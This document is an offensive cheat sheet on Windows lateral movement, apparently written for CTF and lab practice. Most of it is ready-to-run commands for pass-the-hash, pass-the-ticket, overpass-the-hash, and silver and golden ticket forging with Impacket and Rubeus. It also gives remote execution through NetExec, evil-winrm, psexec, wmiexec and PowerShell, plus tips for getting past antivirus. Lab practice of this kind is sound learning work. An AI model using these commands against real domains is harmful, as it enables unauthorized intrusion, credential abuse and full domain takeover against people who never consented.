Windows lateral movement: pass-the-hash, pass-the-ticket, WinRM, PsExec and WMI

You have credentials. Maybe a password, an NT hash pulled from a SAM or a Kerberos ticket. The question now is where they work and how to run commands there. On Windows you do not need the cleartext password: the NT hash is enough to authenticate over NTLM (pass-the-hash), and a ticket is enough for Kerberos (pass-the-ticket). These are the pass-the-hash / ticket and remote execution techniques, found on dozens of machines in the catalogue.

1. Where do they work?

# Password
nxc smb 10.10.10.0/24 -u user -p 'Password1'
# NT hash (the right-hand part of LM:NT)
nxc smb 10.10.10.0/24 -u administrator -H 8846f7eaee8fb117ad06bdd830b7586c
# Local account instead of domain
nxc smb 10.10.10.0/24 -u administrator -H 8846f7... --local-auth
# Other protocols
nxc winrm 10.10.10.10 -u user -p 'Password1'
nxc mssql 10.10.10.10 -u user -p 'Password1'
nxc rdp 10.10.10.10 -u user -p 'Password1'

(Pwn3d!) means you can run commands over that protocol. The Impacket and NetExec generator writes each command for you with a password, a hash or Kerberos.

2. Getting in: which tool

evil-winrm -i 10.10.10.10 -u user -p 'Password1'
evil-winrm -i 10.10.10.10 -u administrator -H 8846f7eaee8fb117ad06bdd830b7586c

impacket-psexec corp.local/[email protected] -hashes :8846f7eaee8fb117ad06bdd830b7586c
impacket-wmiexec corp.local/administrator:'Password1'@10.10.10.10
impacket-smbexec -hashes :8846f7... corp.local/[email protected]

nxc smb 10.10.10.10 -u administrator -H 8846f7... -x 'whoami /all'         # one command
nxc smb 10.10.10.10 -u administrator -H 8846f7... -X 'Get-Process'         # in PowerShell

3. Kerberos: overpass-the-hash and pass-the-ticket

Some machines have NTLM disabled (on Scrambled, everything goes through Kerberos), or you want less noise. Turn the hash into a TGT:

impacket-getTGT corp.local/user -hashes :8846f7eaee8fb117ad06bdd830b7586c -dc-ip 10.10.10.10
impacket-getTGT corp.local/user:'Password1' -dc-ip 10.10.10.10
export KRB5CCNAME=user.ccache

impacket-psexec -k -no-pass corp.local/[email protected]
nxc smb dc01.corp.local --use-kcache

For evil-winrm to use the ticket, set up /etc/krb5.conf with the domain and KDC, then run evil-winrm -i dc01.corp.local -r CORP.LOCAL.

With Windows tickets (Rubeus or Mimikatz export them as .kirbi), convert them:

impacket-ticketConverter ticket.kirbi ticket.ccache

4. Silver and golden tickets

If you have a service account's hash, you can forge tickets for that service without going through the DC (silver ticket). If you have krbtgt's (after a DCSync), you can forge a TGT for any user (golden ticket).

# Domain SID
impacket-lookupsid corp.local/user:'Password1'@10.10.10.10 0

# Silver ticket: NT hash of the account running MSSQL, for the MSSQL SPN
impacket-ticketer -nthash <svc_sql_hash> -domain-sid S-1-5-21-XXXX -domain corp.local -spn MSSQLSvc/dc01.corp.local:1433 Administrator

# Golden ticket
impacket-ticketer -nthash <krbtgt_hash> -domain-sid S-1-5-21-XXXX -domain corp.local Administrator

export KRB5CCNAME=Administrator.ccache

The MSSQL silver ticket is exactly the path on Scrambled.

5. From Windows

If you are already on a domain machine:

# Run on another host with the current credentials
Enter-PSSession -ComputerName srv01
Invoke-Command -ComputerName srv01 -ScriptBlock { whoami }

# With other credentials
$c = New-Object PSCredential('CORP\user', (ConvertTo-SecureString 'Password1' -AsPlainText -Force))
Invoke-Command -ComputerName srv01 -Credential $c -ScriptBlock { whoami }

# Pass-the-ticket with Rubeus
.\Rubeus.exe asktgt /user:user /rc4:8846f7... /ptt

More variants (and C2s such as Sliver or Havoc) in the C2 and post-exploitation cheat sheet.

Common errors

• STATUS_LOGON_FAILURE with a correct hash: it is a local account and --local-auth is missing, or it is a domain account and you added --local-auth.
• rpc_s_access_denied in psexec while NetExec says Pwn3d!: the antivirus blocked psexec's binary. Try wmiexec or smbexec.
• A local admin other than Administrator never gets Pwn3d!: because of remote UAC (LocalAccountTokenFilterPolicy), only the RID 500 account has full rights over the network.
• Kerberos fails with KDC_ERR_S_PRINCIPAL_UNKNOWN: you are using the IP; Kerberos needs the name (dc01.corp.local) and it must resolve.

What next

On every new machine, dump whatever credentials it holds (credential dumping) and check again where they work: that is how you walk a domain. If the antivirus blocks you, first read how EDRs detect you.